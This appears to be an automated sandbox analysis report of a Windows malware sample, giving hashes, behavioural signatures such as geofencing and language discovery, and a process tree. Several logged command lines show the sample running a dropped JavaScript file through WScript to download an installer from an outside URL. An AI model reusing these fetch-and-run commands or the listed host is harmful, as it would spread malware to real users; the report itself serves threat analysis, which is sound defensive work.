Analysis
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max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
03/11/2024, 20:28
Static task
static1
Behavioral task
behavioral1
Sample
8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe
Resource
win7-20240903-en
General
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Target
8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe
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Size
184KB
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MD5
8d5aecb4788c4100e4f22d6da5f4f6c3
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SHA1
31b8c12287e9ced994b30845883395ab953039fc
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SHA256
6d220123b6cd32c5dc7b652c2797e27ba9ce6c40a327d740932a50a3a5b607dd
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SHA512
e4fc0af6111d0ea7f3070b0b05bcddfcdd1fe3837557dcdbc70946a5cc4ed80a6317b62c387f2885a4144261e664e191fd912ec4b378f6d77d0d3e763f5692e6
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnt
Malware Config
Signatures
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Blocklisted process makes network request 7 IoCs
flow pid Process 9 864 WScript.exe 29 4544 WScript.exe 30 4544 WScript.exe 34 2828 WScript.exe 49 2268 WScript.exe 50 2268 WScript.exe 53 4040 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 1548 3400 WerFault.exe 83 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 3400 wrote to memory of 864 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 86 PID 3400 wrote to memory of 864 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 86 PID 3400 wrote to memory of 864 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 86 PID 3400 wrote to memory of 4544 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 101 PID 3400 wrote to memory of 4544 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 101 PID 3400 wrote to memory of 4544 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 101 PID 3400 wrote to memory of 2828 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 104 PID 3400 wrote to memory of 2828 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 104 PID 3400 wrote to memory of 2828 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 104 PID 3400 wrote to memory of 2268 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 111 PID 3400 wrote to memory of 2268 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 111 PID 3400 wrote to memory of 2268 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 111 PID 3400 wrote to memory of 4040 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 115 PID 3400 wrote to memory of 4040 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 115 PID 3400 wrote to memory of 4040 3400 8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe 115
Processes
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C:\Users\Admin\AppData\Local\Temp\8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\8d5aecb4788c4100e4f22d6da5f4f6c3_JaffaCakes118.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5CA7.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5CA7.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:864
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5CA7.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5CA7.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:4544
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5CA7.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5CA7.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2828
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5CA7.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5CA7.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:2268
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5CA7.js" http://www.djapp.info/?domain=iRceyBZaHG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuVwucrPYE19JkwWjSZ2s2qvmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4eNq6LaFY79XZ6m0stLMqjuzx-uhliieAKdKyysjy6-7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf5CA7.exe2⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
PID:4040
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3400 -s 14682⤵
- Program crash
PID:1548
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3400 -ip 34001⤵PID:1048
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76